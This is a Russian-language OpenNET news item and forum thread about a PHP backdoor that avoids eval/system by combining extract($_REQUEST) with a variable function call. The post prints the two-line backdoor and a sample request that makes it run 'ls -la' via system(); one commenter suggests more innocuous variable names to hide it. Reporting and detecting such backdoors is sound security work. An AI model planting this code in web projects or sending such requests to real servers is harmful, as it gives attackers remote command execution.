The OpenNET Project / Index page

[ новости /+++ | форум | теги | ]

форумы  помощь  поиск  регистрация  майллист  вход/выход  слежка  RSS
"Необычный способ организации вызова PHP-бэкдора"
Вариант для распечатки  
Пред. тема | След. тема 
Форум Разговоры, обсуждение новостей
Изначальное сообщение [ Отслеживать ]

"Необычный способ организации вызова PHP-бэкдора"  +/
Сообщение от opennews (??) on 18-Фев-14, 10:36 
Выявлен (http://blog.sucuri.net/2014/02/php-backdoors-hidden-with-cle...) заслуживающий внимания PHP-бэкдор, активация которого производится без использования типовых вызовов "eval", "exec", "system", "assert" и "preg_replace". При установке бэкдора в файле phpinfo.php появляется несколько на первый взгляд неопасных строк:

<font color="#461b7e">
    @extract ($_REQUEST);
    @die ($ctime($atime));
</font>

При более вдумчивом просмотре становится ясно, что при помощи функции extract осуществляется создание переменных на основании данных, переданных в составе запроса GET или POST. Конструкция $ctime($atime) по сути является вызовом функции, имя которой хранится в переменной $ctime. Сформировав запрос "/phpinfo.php?ctime=system&atime=ls -la" получим вызов фуенкции system() с аргументом "ls -la".


URL: http://blog.sucuri.net/2014/02/php-backdoors-hidden-with-cle...
Новость: http://www.opennet.me/opennews/art.shtml?num=39113

Ответить | Правка | Cообщить модератору

Оглавление

Сообщения по теме [Сортировка по ответам | RSS]

1. "Необычный способ организации вызова PHP-бэкдора"  –9 +/
Сообщение от Аноним (??) on 18-Фев-14, 10:36 
>@extract ($_REQUEST);

те кто не валидирует входные данные, должны страдать

Ответить | Правка | ^ к родителю #0 | Наверх | Cообщить модератору

2. "Необычный способ организации вызова PHP-бэкдора"  +3 +/
Сообщение от Аноним (??) on 18-Фев-14, 10:37 
Неочевидный, но вполне обычный.
Ответить | Правка | ^ к родителю #0 | Наверх | Cообщить модератору

4. "Необычный способ организации вызова PHP-бэкдора"  +/
Сообщение от Аноним (??) on 18-Фев-14, 10:51 
Нужно было вместо @die ($ctime($atime)); написать @die ($exit_($exit_code));, стало бы ещё менее подозрительно.
Ответить | Правка | ^ к родителю #0 | Наверх | Cообщить модератору

5. "Необычный способ организации вызова PHP-бэкдора"  +2 +/
Сообщение от Аноним (??) on 18-Фев-14, 11:15 
Это код бэкдора, вызывать внешние команды - в этом его смысл, зачем ему валидировать параметры?
Ответить | Правка | ^ к родителю #1 | Наверх | Cообщить модератору

6. "Необычный способ организации вызова PHP-бэкдора"  +1 +/
Сообщение от йцу on 18-Фев-14, 11:31 
> @extract ($_REQUEST);

"неочевидный" для кого?

Даже в документации это отмечено красненьким: "Do not use extract() on untrusted data, like user input (i.e. $_GET, $_FILES, etc.)...". Да

Или автор новости считает, что бекдор должен сопровождаться комментами "Смотрите все, йа бекдорко!"?

P.s. вангую в треде буратино, который снова будет выть о том, какое г.. этот ваш пхп.

Ответить | Правка | ^ к родителю #0 | Наверх | Cообщить модератору

7. "Необычный способ организации вызова PHP-бэкдора"  +1 +/
Сообщение от waf (ok) on 18-Фев-14, 11:48 
За Буратину.
Ну всё-таки, в каком ещё популярном вэб-ориентированном языке есть доступные конструкции, позволяющие одним движениемм оголить всю-всю свою задницу перед миром?
Ответить | Правка | ^ к родителю #6 | Наверх | Cообщить модератору

8. "Необычный способ организации вызова PHP-бэкдора"  +6 +/
Сообщение от Некто (??) on 18-Фев-14, 11:54 
У тебя тоже есть возможность снять штаны посреди улицы, но почему-то ты этого не делаешь ;)
По твоей логике лучше тебя будет тот у кого нет технической возможности снять штаны?))
Ответить | Правка | ^ к родителю #7 | Наверх | Cообщить модератору

9. "Необычный способ организации вызова PHP-бэкдора"  +/
Сообщение от Аноним (??) on 18-Фев-14, 12:03 
perl, python, oh wait o_O
Ответить | Правка | ^ к родителю #0 | Наверх | Cообщить модератору

10. "Необычный способ организации вызова PHP-бэкдора"  –4 +/
Сообщение от chinarulezzz (ok) on 18-Фев-14, 12:24 
Классная аналогия, форум лингвистов прям.
Правильно я понял, пхп == штаны, небезопасность пхп == снимание штанов?
Ответить | Правка | ^ к родителю #8 | Наверх | Cообщить модератору

11. "Необычный способ организации вызова PHP-бэкдора"  +4 +/
Сообщение от Некто (??) on 18-Фев-14, 13:01 
Нет.
PHP - руки, инструмент.
$_REQUEST - штаны.
extract() - функция.
Нормальный человек ведь не станет посредством рук выполнять функцию снимания штанов на паблике.. Т.е. другими словами, выполнять @extract ($_REQUEST)..
Я хочу сказать что дело не в PHP, а в том кто и как его применяет.
Ответить | Правка | ^ к родителю #10 | Наверх | Cообщить модератору

12. "Необычный способ организации вызова PHP-бэкдора"  +/
Сообщение от Perain on 18-Фев-14, 13:06 
зафильтровать extract на содание system,eval ?
Ответить | Правка | ^ к родителю #0 | Наверх | Cообщить модератору

13. "Необычный способ организации вызова PHP-бэкдора"  –1 +/
Сообщение от йцу on 18-Фев-14, 14:09 
По сути, не шибко отличается от eval($_GET['some bull shit']). Но речь не о том, что кто-то может "случайно" такое написать.

Речь о том, что раз нет явного вызова eval то такой код, будучи внедренным, будет незаметен. Но ёмаё, завуалировать шелл можно и более изысканными способами.

И вообще, если веб-сервис позволяет внедрить код - это уже огроменная дырень. А уж как там будут выглядеть пара строк, запускающие содержимое строки запроса на выполнение - вообще пофигу.

Ответить | Правка | ^ к родителю #11 | Наверх | Cообщить модератору

14. "Необычный способ организации вызова PHP-бэкдора"  +/
Сообщение от йцу on 18-Фев-14, 14:12 
А может просто не делать extract суперглобальных массивов, не? Соскучились по register_globals?
Ответить | Правка | ^ к родителю #12 | Наверх | Cообщить модератору

15. "Необычный способ организации вызова PHP-бэкдора"  +/
Сообщение от Perain on 18-Фев-14, 14:18 
Я нет, но британские ученые раздувают как "уязвимость"...
Ответить | Правка | ^ к родителю #14 | Наверх | Cообщить модератору

16. "Необычный способ организации вызова PHP-бэкдора"  +1 +/
Сообщение от XoRe (ok) on 18-Фев-14, 14:28 
> За Буратину.
> Ну всё-таки, в каком ещё популярном вэб-ориентированном языке есть доступные конструкции,
> позволяющие одним движениемм оголить всю-всю свою задницу перед миром?

*список всех вэб-ориентированных языков*
Хотя в той же вэб-ориентированной java выход из песочницы потребует много движений.
А вообще не всегда нужно оголять всю-всю задницу, достаточно оголить дырочку, ведущую в БД с биллингом.
Обычно взломщикам интереснее данные о пользователях, чем содержимое /etc веб сервера.

Ответить | Правка | ^ к родителю #7 | Наверх | Cообщить модератору

19. "Необычный способ организации вызова PHP-бэкдора"  +/
Сообщение от Аноним (??) on 18-Фев-14, 23:19 
А, moin-moin wiki, припоминаем, там такое на бидоне изобразили, как ни странно :)
Ответить | Правка | ^ к родителю #9 | Наверх | Cообщить модератору

20. "Необычный способ организации вызова PHP-бэкдора"  +3 +/
Сообщение от redwolf (ok) on 19-Фев-14, 00:59 
Давайте уже будем честны сами с собой.

1. Проблема ПХП не в наличии/отсутствии чего-то там в самом языке, а в индусах. Если руки растут из жопы, можно и на яве написать дерьмовый дырявый код с плохой архитектурой.

2. ПХП  vs технологии оракл -- сравнение тёплого с мягким. Первое -- скриптовый язык с низким порогом вхождения, второе -- дорогущая платформа. Нет такого множества задач, на котором можно было бы их реально сравнить.

Ответить | Правка | ^ к родителю #7 | Наверх | Cообщить модератору

21. "Необычный способ организации вызова PHP-бэкдора"  +1 +/
Сообщение от Sw00p aka Jerom on 19-Фев-14, 02:52 
поймите уже - это бекдор (доступ на сервак давным давно имеется) и прекратите разговоры про валидацию и прочую хню.

пс: видал и по круче бекдоры, этот метод всего лишь спасает от авто поиска по шаблону не более, любой бекдор можно обноружить если допустим хранить на локалке копию под гитом, или всякие трипвайры вам в помощь

Ответить | Правка | ^ к родителю #0 | Наверх | Cообщить модератору

22. "Необычный способ организации вызова PHP-бэкдора"  +/
Сообщение от angra (ok) on 19-Фев-14, 03:51 
Бери выше - может злодеям не злодействовать, взломщикам не взламывать, ворам не воровать и вообще пусть будет мир во всем мире.
Ответить | Правка | ^ к родителю #14 | Наверх | Cообщить модератору

23. "Необычный способ организации вызова PHP-бэкдора"  +1 +/
Сообщение от бедный буратино (ok) on 19-Фев-14, 10:25 
> Проблема ПХП не в наличии/отсутствии чего-то там в самом языке

а в его логике

всегда поражаюсь людям с их упрямством, которые считают, что достаточно взять нужные ингридиенты, скинуть их скопом, и всё, всегда у всех получится одинаково.

вкусный салат отличается от невкусного ГАРМОНИЕЙ ингридиентов, а не их количеством. красивое помещение отличается от барака Обамы ГАРМОНИЕЙ, а не нагромождением шкафов. вещь бывает не только напичканой функциями, но и удобной. и в одном языке писать удобно и легко, и ошибки содержаются реже, а другой - просто располагает к ошибкам. в одном ты должен следить за тысячей рутинных вещей, иначе будет очень больно - а в другом нет.

в конечном итоге, это создаёт удобство. чем неудобнее - тем больше ошибок. законы психологии.

Ответить | Правка | ^ к родителю #20 | Наверх | Cообщить модератору

24. "Необычный способ организации вызова PHP-бэкдора"  –1 +/
Сообщение от бедный буратино (ok) on 19-Фев-14, 10:26 
> Проблема ПХП не в наличии/отсутствии чего-то там в самом языке, а в индусах.

хотя, да. в индусах. которые создали дизайн этого языка. :)

Ответить | Правка | ^ к родителю #20 | Наверх | Cообщить модератору

25. "Необычный способ организации вызова PHP-бэкдора"  +/
Сообщение от arisu (ok) on 20-Фев-14, 10:03 
> которые создали дизайн этого языка. :)

у похапэ есть дизайн? ЛОМАЮЩИЕ НОВОСТИ!

Ответить | Правка | ^ к родителю #24 | Наверх | Cообщить модератору

26. "Необычный способ организации вызова PHP-бэкдора"  +/
Сообщение от arisu (ok) on 20-Фев-14, 10:05 
> этот метод всего лишь спасает от
> авто поиска по шаблону не более

это надо очень доверчивым быть, чтобы не иметь шаблона, который заставит чекалку заорать благим матом при виде непрямого вызова. подавляющее большинство похапэ-кодираф такую конструкцию не просто не используют — они и представить-то её не в состоянии. так что если обнаружилась — это мегаахтунг.

Ответить | Правка | ^ к родителю #21 | Наверх | Cообщить модератору

27. "Необычный способ организации вызова PHP-бэкдора"  +/
Сообщение от Аноним (??) on 20-Фев-14, 14:51 
>> Проблема ПХП не в наличии/отсутствии чего-то там в самом языке, а в индусах.
> хотя, да. в индусах. которые создали дизайн этого языка. :)

Расмус он такой расовый индус, да.

Ответить | Правка | ^ к родителю #24 | Наверх | Cообщить модератору


Архив | Удалить

Рекомендовать для помещения в FAQ | Индекс форумов | Темы | Пред. тема | След. тема




Партнёры:
PostgresPro
Inferno Solutions
Hosting by Hoster.ru
Хостинг:

Закладки на сайте
Проследить за страницей
Created 1996-2024 by Maxim Chirkov
Добавить, Поддержать, Вебмастеру